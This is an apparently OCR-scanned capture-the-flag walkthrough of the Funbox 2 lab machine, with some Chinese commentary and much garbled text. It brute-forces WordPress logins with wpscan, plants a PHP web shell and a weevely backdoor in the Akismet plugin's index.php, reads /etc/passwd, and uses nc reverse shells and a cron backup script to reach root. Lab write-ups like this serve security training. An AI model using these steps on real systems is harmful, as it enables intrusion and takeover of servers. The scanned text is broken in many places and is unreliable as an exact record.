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open ftp ProFTPD

open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol

open http Apache httpd 2.4.41 ({Ubuntu))
_http-generator: WordPre 5.4.2
http-robo xt: 1 disallowed entry

/secret/

_http-server-header: che/2.4.41 (Ubuntu)
_http-title: Funbox 2
_htips i
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Kali Toals  # Kali Docs Kali Forums NetHunter || Offensive Security Exploit-DB GHDB || MsFu

KaliLinux  KaliTraining

Hmm. We're having trouble
finding that site.

We can't connect to the server at funbox.fritz.box.
1f that address is correct, here are three other things
you can try:

o Try again later.

e Check your network connection.

* If you are connected but behind a firewall, check that
Firefox has permission to access the Web.,
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ip6-allnodes
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wpscan --url http://funbox.fritz.box/ -P /usr/share/wordlists/dirb/
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--max-threads 100
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Have a little faith in me, fellas

(o E=ited Edit Plugins

A Po: Editing akismet/index.php (inactive) Selectplugintoedit:| Akismet Anti-Sp v
0] Media Selectedfile content: Plugin Files
L 1 <7php 3 e

_ 2 # silence is golden.

B Comments 3 echo "Seanz7 lalalalalala”; funboxfritz.box/wp-content/s X+
4 echo "<br>";
2 Appearance 5 echo system("whoami®); < c @ fritz.box r
ho "<br>";
£ Plug 9)oche sys{:m;"nj"); Kalilinux . KaliTraining  KaliTools * KaliDocs ~ KaliForums  NetHunter || Offensive Security * ExploittDB % GHDB || MSFU
8 echo "<br>"; Seanz7 lalalalalala
9 echo system(*15"); www-data www-data
- i‘; 2val(s_PosTl'seanz7'1); uid=33(www-data) gid=33(www-data) groups=33(www-data) uid=33(www-data) gid=33(www-data) groups=33(www-data)

o - LICENSE.txt _inc akismet.php changelog.txt class.akismet-admin.php class.akismet-cli.php class.akismet-rest-api.php class.akismet-widget.php Jest-api.php
Plugin Editor class.akismet.php index.php readme.txt views wrapper.php wrapper.php idget.php
.

-
dmin.ph
# Tools "
e
Set
Qc L

I File edited successfully.
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Sw=str replace( , ', $5.$0.9F.$d.$0);
PI=$k("",$w);$I();

?>

B N http://funbox.fritz.box/wp-content/plugins/akismet/index.php , weevelyiZ%

weevely http://funbox.fritz.box/wp-content/plugins/akismet/index.php seanz?7

[root: K weevely http://funbox.fritz.box/wp-content/plugins/akismet/index.php seanz?
[+] weevely 4.0.1

[+] Target: funbox.fritz.box
[+] Session: Jroot/ . .weevely/sessions/funbox. fritz.box/index_0.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> id

uid=33(wwmi-data) gid=33(wmv-data) groups=33(www-data)
ww—-datag@funbox: /var/we /html/wp-content/plugins/akismet $ whoami
waw—data
ww-datag@funbox: /var /wew /html/wp-content/plugins/akismet $ 1s
LICENSE.txt

_inc

akismet.php

changelog. txt

class.akismet-admin.php

class.akismet-cli.php

class.akismet-rest-api.php

class.akismet-widget.php

class.akismet.php

index.php

readme. txt

views

wrapper.php
ww—-datag@funbox: /var/wm /html/wp-content/plugins/akismet $ cd /
waw-data@funbox:/ § 1s

bin

boot

cdrom

dev

etc

home

lib

1ib32

lib64

libx32

lost+found

media

mnt

opt

proc

root

run

shin

snap
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cat /etc/passwd KILIEAFAERAFH P funny 1 joe , it joe AT LLEHAE FH 2 AT HRAL H K )% 1Y H Hssh




PS: www-data BUREL joe BUBRTE K— AT

wiai -da
win -l
wii -datagfunbos

run/ircd: /sbin/nologin
g-Reporting admin
:nobod

ystemd Resolver,,,:
ystemd Time ¢ hronization,,,
i i ologin

bin/nologin
stemd Core Dumper

in/nologin
/nologin

waw-data@funbox: /home § 1s
funny

joe

wi -da funb home $ I

& /home/Ffunny H 3 R RKILH A . sh LA



waw -data@funbox: /home § 1s
funny

ome § cd joe
ome/joe § 1s

‘home/joe § 1s -la

Sep 26
root 96 Jun 19 .
joe j 41 Jul 18 1@:15 . _history
jog  j 220 Jun 19
jog  j ) Jun 19
j j Jun 19
Jul 18 @ (
p Jun 22 7 .mysql_history
7 Jun 19 p .profile
Jun 22 16
.viminfo
mbox

y

/funny

funny funny
root root
funny funny
funny funny / Sep 26 17:04 . _history
funny funny 22¢ 2" . _logout
funny funny C
funny funny
funny funny B7 25 2020 .profile
funny funny 6. 0 14:13 .reminder.sh
funny funny 74 : selected_editor
-IW-r--r-- funny funny
funny funny
-IW-Tw-r-— funny funny 487€

.reminder.sh

unbox: /home/funny $ cat ./.reminder.sh

echo "Hi Joe, the hidden backup.sh backups the entire webspace on and on. Ted, the new admin, test it in a long run.” | mail -s"Reminder" joe@funbox

waw-data@f /home/funny § JJ

RGN ENIZLT (backup.sh, FHXMETH X .backup. sh T BUR

.backup.sh

joegfunbox: $ cat .backup.sh
#!/bin/bash

tar -cf /home/funny/html.tar /var/ww/html
joegfunbox: $

It nr Ll S AE 04 . backup. sh IS ANCR B, 2 root B HAFH F AT BLHE I B — A rootal 3 Lb 41 FH - A PR 58 =y 1 F
shell
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nc -lvp 1234

funny H B BAT— IR
root P& LA AT — IR

T LAEES R root [ shelif RIEFIZ M, 15254

connect to [192.1 .101] 57874
annot set terminal pri group (13014): Inappropriate ioctl for device
no job control in this shell
funbox:~% whoami
whoami

funny@funbox:~% id
id
i id=1000( funny) groups=1000( funny),4(adm),24(cdrom),30(dip),46(plugdev),116(1xd)

listening on .
connect to [192. 177 6.101] 57876

E ate ioctl for device

ontrol in this shell
:~% whoami

whoami
funny

@funbox:~% id

id=1008( funny

5.101] 5
: Inappropriate ioctl for device
: no job control in this shell
unbox:~# whoami
whoami
root
rootafunbox:~# id

id=0(root) groups=0(root)
1s

You did it.
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